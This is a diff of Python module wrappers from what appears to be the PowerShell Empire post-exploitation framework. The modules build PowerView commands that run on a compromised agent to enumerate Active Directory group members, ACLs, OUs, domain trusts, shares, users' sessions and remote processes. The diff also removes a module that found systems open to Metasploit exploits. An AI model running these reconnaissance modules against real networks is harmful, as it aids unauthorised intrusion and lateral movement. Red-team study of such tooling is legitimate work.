|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,118 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetGroupMember',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns the members of a given group, with the option to "Recurse" to find all effective group members. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'The group name to query for users.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SID' : {
|
||||
'Description' : 'The Group SID to query for users.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Return full group objects instead of just object names (the default).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Recurse' : {
|
||||
'Description' : 'Switch. If the group member is a group, recursively try to query its members as well.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -10,7 +10,7 @@ class Module:
|
|||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns a list of all current users in a specified local group '
|
||||
'on a local or remote machine.'),
|
||||
'on a local or remote machine. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -34,16 +34,21 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostName' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'The hostname or IP to query for local group users.',
|
||||
'Required' : False,
|
||||
'Value' : 'localhost'
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'The local group name to query for users.',
|
||||
'Description' : 'The local group name to query for users, defaults to "Administrators".',
|
||||
'Required' : False,
|
||||
'Value' : 'Administrators'
|
||||
},
|
||||
'ListGroups' : {
|
||||
'Description' : 'Switch. List all the local groups instead of their members.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Recurse' : {
|
||||
'Description' : 'Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.',
|
||||
'Required' : False,
|
||||
|
@ -64,8 +69,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetLocalGroup.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -76,9 +83,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-NetLocalGroup "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -87,8 +95,8 @@ class Module:
|
|||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += "| Out-String"
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,133 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-ObjectAcl',
|
||||
|
||||
'Author': ['@harmj0y', '@pyrotek3'],
|
||||
|
||||
'Description': ('Returns the ACLs associated with a specific active directory object. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SamAccountName' : {
|
||||
'Description' : 'Object SamAccountName to filter for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Name' : {
|
||||
'Description' : 'Object Name to filter for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DistinguishedName' : {
|
||||
'Description' : 'Object distinguished name to filter for.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ResolveGUIDs' : {
|
||||
'Description' : 'Switch. Resolve GUIDs to their display names.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSprefix' : {
|
||||
'Description' : 'Prefix to set for the searcher (like "CN=Sites,CN=Configuration")',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'RightsFilter' : {
|
||||
'Description' : 'Only return results with the associated rights, "All", "ResetPassword","ChangePassword","WriteMembers"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-Netview',
|
||||
'Name': 'Get-NetOU',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries the domain for all hosts, and retrieves open shares, '
|
||||
'sessions, and logged on users for each host. Part of PowerView.'),
|
||||
'Description': ('Gets a list of all current OUs in a domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -23,8 +22,7 @@ class Module:
|
|||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView',
|
||||
'https://github.com/mubix/netview'
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
|
@ -37,38 +35,33 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'OUName' : {
|
||||
'Description' : 'The OU name to query for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CheckShareAccess' : {
|
||||
'Description' : 'Switch. Only display found shares that the local user has access to.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Delay' : {
|
||||
'Description' : 'Delay between enumerating hosts, defaults to 0.',
|
||||
'GUID' : {
|
||||
'Description' : 'Only return OUs with the specified GUID in their gplink property.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'FullData' : {
|
||||
'Description' : 'Switch. Return full OU objects instead of just object names (the default).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -87,8 +80,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-Netview.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -99,9 +94,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-NetView "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -111,7 +107,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-Netview completed"'
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,113 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetUser',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Query information for a given user or users in the specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'Username filter string, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ADSpath' : {
|
||||
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SPN' : {
|
||||
'Description' : 'Switch. Only return user objects with non-null service principal names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,12 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-ExploitableSystems',
|
||||
'Name': 'Invoke-MapDomainTrust',
|
||||
|
||||
'Author': ['Scott Sutherland (@_nullbind)'],
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Queries Active Directory for systems likely vulnerable to various '
|
||||
'Metasploit exploits.'),
|
||||
'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -23,7 +22,7 @@ class Module:
|
|||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1'
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
|
@ -36,13 +35,13 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Specific domain controller to query against.',
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchDN' : {
|
||||
'Description' : 'Distinguished Name Path to limit search to.',
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -51,7 +50,7 @@ class Module:
|
|||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -60,9 +59,11 @@ class Module:
|
|||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-ExploitableSystems.psm1"
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -73,9 +74,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-ExploitableSystems "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -84,8 +86,8 @@ class Module:
|
|||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | ft -autosize | Out-String | %{$_ + \"`n\"}"
|
||||
script += '| ConvertTo-Csv -NoTypeInformation | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,13 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-StealthUserHunter',
|
||||
'Name': 'Invoke-ProcessHunter',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Finds which machines users of a specified group are logged into by '
|
||||
'querying AD for servers likely to have high traffic (file servers, DCs, etc.) '
|
||||
'and enumerating sessions again each. Part of PowerView.'),
|
||||
'Description': ('Query the process lists of remote machines, searching for processes with a specific name or owned by a specific user.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -37,13 +35,28 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ProcessName' : {
|
||||
'Description' : 'The name of the process to hunt, or a comma separated list of names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Group name to query for target users.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'TargetServer' : {
|
||||
'Description' : 'Hunt for users who are effective local admins on a target server.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -52,28 +65,18 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Group to query for user names.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserList' : {
|
||||
'Description' : 'List of usernames to search for.',
|
||||
'UserFilter' : {
|
||||
'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'StopOnSuccess' : {
|
||||
'Description' : 'Switch. Stop when a target user is found.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Description' : 'Switch. Stop hunting after finding after finding a target user.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CheckAccess' : {
|
||||
'Description' : 'Switch. Check if the current user has local admin access to found machines.',
|
||||
'NoPing' : {
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
|
@ -82,13 +85,18 @@ class Module:
|
|||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowAll' : {
|
||||
'Description' : 'Switch. Show all result output.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -107,8 +115,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -119,9 +129,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-StealthUserHunter "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -131,9 +142,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}"
|
||||
|
||||
script += ';"`nInvoke-StealthUserHunter completed"'
|
||||
|
||||
return script
|
|
@ -9,7 +9,7 @@ class Module:
|
|||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Finds shares on machines in the domain.'),
|
||||
'Description': ('Finds shares on machines in the domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -35,38 +35,43 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostList' : {
|
||||
'Description' : 'Hostlist to enumerate.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'HostFilter' : {
|
||||
'ComputerFilter' : {
|
||||
'Description' : 'Host filter name to query AD for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'CheckShareAccess' : {
|
||||
'Description' : 'Switch. Only display found shares that the local user has access to.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'NoPing' : {
|
||||
'Description' : "Don't ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Delay' : {
|
||||
'Description' : 'Delay between enumerating hosts, defaults to 0.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Domain to enumerate for hosts.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Threads' : {
|
||||
'Description' : 'The maximum concurrent threads to execute.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -85,8 +90,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-ShareFinder.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -97,9 +104,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Invoke-ShareFinder "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -109,7 +117,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-ShareFinder completed"'
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -36,18 +36,23 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Hosts' : {
|
||||
'ComputerName' : {
|
||||
'Description' : 'Hosts to enumerate.',
|
||||
